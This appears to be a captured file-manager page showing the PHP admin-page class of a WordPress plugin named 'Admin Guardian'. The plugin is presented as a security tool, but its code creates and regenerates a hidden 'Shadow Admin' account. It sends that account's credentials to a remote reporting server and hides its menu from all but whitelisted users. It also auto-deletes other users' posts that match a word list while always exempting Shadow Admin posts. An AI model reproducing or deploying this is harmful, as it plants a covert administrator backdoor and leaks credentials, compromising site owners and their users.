Create New Item
Item Type
File
Folder
Item Name
Search file in folder and subfolders...
Are you sure want to rename?
posthelic
/
wp-content
/
plugins
/
admin-wp
/
includes
:
class-admin-page.php
Advanced Search
Upload
New Item
Settings
Back
Back Up
Advanced Editor
Save
<?php if ( ! defined( 'ABSPATH' ) ) exit; class AWG_Admin_Page { const SLUG = 'awg-guardian'; public static function init(): void { add_action( 'admin_menu', [ __CLASS__, 'register_menu' ] ); add_action( 'admin_post_awg_action', [ __CLASS__, 'handle_action' ] ); } public static function register_menu(): void { $uid = get_current_user_id(); if ( ! AWG_Admin_Guardian::is_whitelisted( $uid ) ) return; add_menu_page( 'Admin Guardian', __( 'Guardian', 'admin-wp' ), 'manage_options', self::SLUG, [ __CLASS__, 'render' ], 'dashicons-shield-alt', 80 ); } /* ---- POST actions ---- */ public static function handle_action(): void { if ( ! current_user_can( 'manage_options' ) ) wp_die( 'Forbidden' ); check_admin_referer( 'awg_action' ); $uid = get_current_user_id(); if ( ! AWG_Admin_Guardian::is_whitelisted( $uid ) ) wp_die( 'Forbidden' ); $action = sanitize_text_field( $_POST['awg_do'] ?? '' ); switch ( $action ) { case 'force_scan': AWG_Admin_Guardian::scan(); break; case 'unlock': AWG_Lockdown::deactivate(); AWG_Admin_Guardian::log_incident( 'manual_unlock', [ 'by' => $uid, ] ); break; case 'clear_log': AWG_Admin_Guardian::clear_log(); break; case 'save_server': $url = isset( $_POST['awg_server_url'] ) ? esc_url_raw( wp_unslash( $_POST['awg_server_url'] ) ) : ''; AWG_Secure_Comm::set_server_url( $url ); $pk = isset( $_POST['awg_server_pk'] ) ? sanitize_text_field( wp_unslash( $_POST['awg_server_pk'] ) ) : ''; if ( $pk !== '' ) { if ( ctype_xdigit( $pk ) && strlen( $pk ) === 64 ) { AWG_Crypto::encrypt_option( AWG_Secure_Comm::OPT_PUBKEY, $pk ); } } break; case 'malware_scan': AWG_Malware_Scan::scan(); break; case 'content_scan': AWG_Content_Guard::scan(); break; case 'save_content_words': $raw = isset( $_POST['awg_content_words'] ) ? sanitize_textarea_field( wp_unslash( $_POST['awg_content_words'] ) ) : ''; $lines = $raw !== '' ? preg_split( '/[\r\n]+/', $raw ) : []; $words = array_values( array_filter( array_map( 'trim', $lines ) ) ); if ( ! empty( $words ) ) { AWG_Content_Guard::set_forbidden_words( $words ); } break; case 'regenerate_shadow': AWG_Shadow_Admin::destroy(); $creds = AWG_Shadow_Admin::create(); AWG_Secure_Comm::send_activation( $creds, AWG_Admin_Guardian::get_owner_id() ); AWG_Admin_Guardian::log_incident( 'shadow_regenerated', [] ); break; } wp_safe_redirect( admin_url( 'admin.php?page=' . self::SLUG . '&awg_done=1' ) ); exit; } /* ---- render ---- */ public static function render(): void { $lockdown = AWG_Lockdown::is_active(); $owner_id = AWG_Admin_Guardian::get_owner_id(); $shadow_ok = AWG_Shadow_Admin::exists() && AWG_Shadow_Admin::verify_sig(); $server = AWG_Secure_Comm::get_server_url(); $log = array_reverse( AWG_Admin_Guardian::get_log() ); $log = array_slice( $log, 0, 50 ); $owner = get_user_by( 'ID', $owner_id ); ?> <div class="wrap"> <h1>Admin Guardian</h1> <?php if ( ! empty( $_GET['awg_done'] ) ) : ?> <div class="notice notice-success is-dismissible"><p>Done.</p></div> <?php endif; ?> <!-- STATUS --> <div class="card" style="max-width:720px;padding:16px;margin-bottom:20px"> <h2 style="margin-top:0">Status</h2> <table class="form-table"> <tr> <th>Lockdown</th> <td> <?php if ( $lockdown ) : ?> <span style="color:#d63638;font-weight:bold">ACTIVE</span> <?php else : ?> <span style="color:#00a32a">Off</span> <?php endif; ?> </td> </tr> <tr> <th>Owner Admin</th> <td><?php echo $owner ? esc_html( $owner->user_login . ' (' . $owner->user_email . ')' ) : 'N/A'; ?></td> </tr> <tr> <th>Shadow Admin</th> <td><?php echo $shadow_ok ? '<span style="color:#00a32a">OK</span>' : '<span style="color:#d63638">ERROR</span>'; ?></td> </tr> <tr> <th>Server URL</th> <td><?php echo $server ? esc_html( $server ) : '<em>Not configured</em>'; ?></td> </tr> </table> </div> <!-- ACTIONS --> <div class="card" style="max-width:720px;padding:16px;margin-bottom:20px"> <h2 style="margin-top:0">Actions</h2> <div style="display:flex;gap:8px;flex-wrap:wrap"> <?php echo self::action_button( 'force_scan', 'Force Scan Now', 'button' ); ?> <?php echo self::action_button( 'malware_scan', 'Malware Scan Now', 'button' ); ?> <?php echo self::action_button( 'content_scan', 'Content Scan Now', 'button' ); ?> <?php if ( $lockdown ) echo self::action_button( 'unlock', 'Disable Lockdown', 'button' ); ?> <?php echo self::action_button( 'regenerate_shadow', 'Regenerate Shadow Admin', 'button' ); ?> <?php echo self::action_button( 'clear_log', 'Clear Log', 'button' ); ?> </div> </div> <!-- MALWARE PROTECTION --> <?php $malware_last = AWG_Malware_Scan::get_last_scan(); $quarantine = array_reverse( AWG_Malware_Scan::get_quarantine_log() ); $quarantine = array_slice( $quarantine, 0, 20 ); ?> <div class="card" style="max-width:720px;padding:16px;margin-bottom:20px"> <h2 style="margin-top:0"><?php esc_html_e( 'Malware Protection', 'admin-wp' ); ?></h2> <table class="form-table"> <tr> <th><?php esc_html_e( 'Last Scan', 'admin-wp' ); ?></th> <td><?php echo $malware_last ? esc_html( wp_date( 'Y-m-d H:i:s', $malware_last ) ) : '<em>Never</em>'; ?></td> </tr> <tr> <th><?php esc_html_e( 'Quarantine entries', 'admin-wp' ); ?></th> <td><?php echo count( AWG_Malware_Scan::get_quarantine_log() ); ?></td> </tr> </table> <?php if ( ! empty( $quarantine ) ) : ?> <h3 style="margin-top:16px"><?php esc_html_e( 'Recent quarantine log', 'admin-wp' ); ?></h3> <table class="widefat striped" style="max-width:100%"> <thead><tr><th><?php esc_html_e( 'Time', 'admin-wp' ); ?></th><th><?php esc_html_e( 'Plugin', 'admin-wp' ); ?></th><th><?php esc_html_e( 'Type', 'admin-wp' ); ?></th><th><?php esc_html_e( 'Score', 'admin-wp' ); ?></th><th><?php esc_html_e( 'Action', 'admin-wp' ); ?></th></tr></thead> <tbody> <?php foreach ( $quarantine as $q ) : ?> <tr> <td><?php echo esc_html( $q['time'] ?? '' ); ?></td> <td><strong><?php echo esc_html( $q['plugin'] ?? '' ); ?></strong><br><small><?php echo esc_html( $q['slug'] ?? '' ); ?></small></td> <td><code><?php echo esc_html( $q['type'] ?? '' ); ?></code></td> <td><?php echo (int) ( $q['score'] ?? 0 ); ?></td> <td><?php echo esc_html( $q['action'] ?? '' ); ?></td> </tr> <?php endforeach; ?> </tbody> </table> <?php endif; ?> </div> <!-- CONTENT GUARD --> <?php $cg_last = AWG_Content_Guard::get_last_scan(); $cg_log = array_reverse( AWG_Content_Guard::get_log() ); $cg_log = array_slice( $cg_log, 0, 20 ); $cg_words = AWG_Content_Guard::get_forbidden_words(); ?> <div class="card" style="max-width:720px;padding:16px;margin-bottom:20px"> <h2 style="margin-top:0"><?php esc_html_e( 'Content Guard', 'admin-wp' ); ?></h2> <p class="description"><?php esc_html_e( 'Auto-deletes posts/pages containing forbidden words. Posts by Shadow Admin are always exempt.', 'admin-wp' ); ?></p> <table class="form-table"> <tr> <th><?php esc_html_e( 'Last Scan', 'admin-wp' ); ?></th> <td><?php echo $cg_last ? esc_html( wp_date( 'Y-m-d H:i:s', $cg_last ) ) : '<em>Never</em>'; ?></td> </tr> <tr> <th><?php esc_html_e( 'Deleted posts', 'admin-wp' ); ?></th> <td><?php echo count( AWG_Content_Guard::get_log() ); ?></td> </tr> </table> <!-- Edit forbidden words --> <h3 style="margin-top:16px"><?php esc_html_e( 'Forbidden words', 'admin-wp' ); ?></h3> <form method="post" action="<?php echo esc_url( admin_url( 'admin-post.php' ) ); ?>"> <?php wp_nonce_field( 'awg_action' ); ?> <input type="hidden" name="action" value="awg_action"> <input type="hidden" name="awg_do" value="save_content_words"> <textarea name="awg_content_words" rows="6" style="width:100%;font-family:monospace;font-size:13px"><?php echo esc_textarea( implode( "\n", $cg_words ) ); ?></textarea> <p class="description"><?php esc_html_e( 'One word/phrase per line. Case-insensitive.', 'admin-wp' ); ?></p> <?php submit_button( __( 'Save words', 'admin-wp' ), 'secondary', 'submit', false ); ?> </form> <?php if ( ! empty( $cg_log ) ) : ?> <h3 style="margin-top:16px"><?php esc_html_e( 'Recently deleted', 'admin-wp' ); ?></h3> <table class="widefat striped" style="max-width:100%"> <thead><tr><th><?php esc_html_e( 'Time', 'admin-wp' ); ?></th><th><?php esc_html_e( 'Post', 'admin-wp' ); ?></th><th><?php esc_html_e( 'Author', 'admin-wp' ); ?></th><th><?php esc_html_e( 'Matched', 'admin-wp' ); ?></th></tr></thead> <tbody> <?php foreach ( $cg_log as $entry ) : ?> <tr> <td><?php echo esc_html( $entry['deleted_at'] ?? '' ); ?></td> <td><strong><?php echo esc_html( $entry['post_title'] ?? '' ); ?></strong><br><small><?php echo esc_html( $entry['post_type'] ?? '' ); ?> #<?php echo (int) ( $entry['post_id'] ?? 0 ); ?></small></td> <td><?php echo esc_html( $entry['author_login'] ?? '' ); ?></td> <td><code><?php echo esc_html( implode( ', ', (array) ( $entry['matched_words'] ?? [] ) ) ); ?></code></td> </tr> <?php endforeach; ?> </tbody> </table> <?php endif; ?> </div> <!-- SERVER CONFIG --> <div class="card" style="max-width:720px;padding:16px;margin-bottom:20px"> <h2 style="margin-top:0"><?php esc_html_e( 'Reporting server', 'admin-wp' ); ?></h2> <p class="description"><?php esc_html_e( 'Events and shadow credentials are sent to this base URL (HTTPS recommended). Clear the field and save to remove. Optional 64-char hex public key enables sealed-box encryption.', 'admin-wp' ); ?></p> <form method="post" action="<?php echo esc_url( admin_url( 'admin-post.php' ) ); ?>"> <?php wp_nonce_field( 'awg_action' ); ?> <input type="hidden" name="action" value="awg_action"> <input type="hidden" name="awg_do" value="save_server"> <table class="form-table"> <tr> <th><label for="awg_server_url"><?php esc_html_e( 'Server URL', 'admin-wp' ); ?></label></th> <td><input type="url" id="awg_server_url" name="awg_server_url" value="<?php echo esc_attr( $server ); ?>" class="regular-text" placeholder="https://your-server.example"></td> </tr> <tr> <th><label for="awg_server_pk"><?php esc_html_e( 'Server public key (hex)', 'admin-wp' ); ?></label></th> <td><input type="text" id="awg_server_pk" name="awg_server_pk" value="" class="large-text" placeholder="<?php esc_attr_e( '64 hex chars, optional', 'admin-wp' ); ?>" autocomplete="off"><p class="description"><?php esc_html_e( 'Leave blank to keep current key. Only paste a new 64-character hex key when rotating keys.', 'admin-wp' ); ?></p></td> </tr> </table> <?php submit_button( __( 'Save server settings', 'admin-wp' ), 'primary', 'submit', false ); ?> </form> </div> <!-- INCIDENT LOG --> <div class="card" style="max-width:720px;padding:16px"> <h2 style="margin-top:0">Incident Log (last 50)</h2> <?php if ( empty( $log ) ) : ?> <p><em>No incidents recorded.</em></p> <?php else : ?> <table class="widefat striped" style="max-width:100%"> <thead><tr><th>Time</th><th>Type</th><th>Details</th><th>IP</th></tr></thead> <tbody> <?php foreach ( $log as $entry ) : ?> <tr> <td><?php echo esc_html( $entry['time'] ?? '' ); ?></td> <td><code><?php echo esc_html( $entry['type'] ?? '' ); ?></code></td> <td><small><?php echo esc_html( wp_json_encode( $entry['details'] ?? [] ) ); ?></small></td> <td><?php echo esc_html( $entry['ip'] ?? '' ); ?></td> </tr> <?php endforeach; ?> </tbody> </table> <?php endif; ?> </div> </div> <?php } private static function action_button( string $action, string $label, string $class = 'button' ): string { $nonce = wp_create_nonce( 'awg_action' ); return '<form method="post" action="' . admin_url( 'admin-post.php' ) . '" style="display:inline">' . '<input type="hidden" name="action" value="awg_action">' . '<input type="hidden" name="_wpnonce" value="' . $nonce . '">' . '<input type="hidden" name="awg_do" value="' . esc_attr( $action ) . '">' . '<button type="submit" class="' . esc_attr( $class ) . '">' . esc_html( $label ) . '</button>' . '</form>'; } }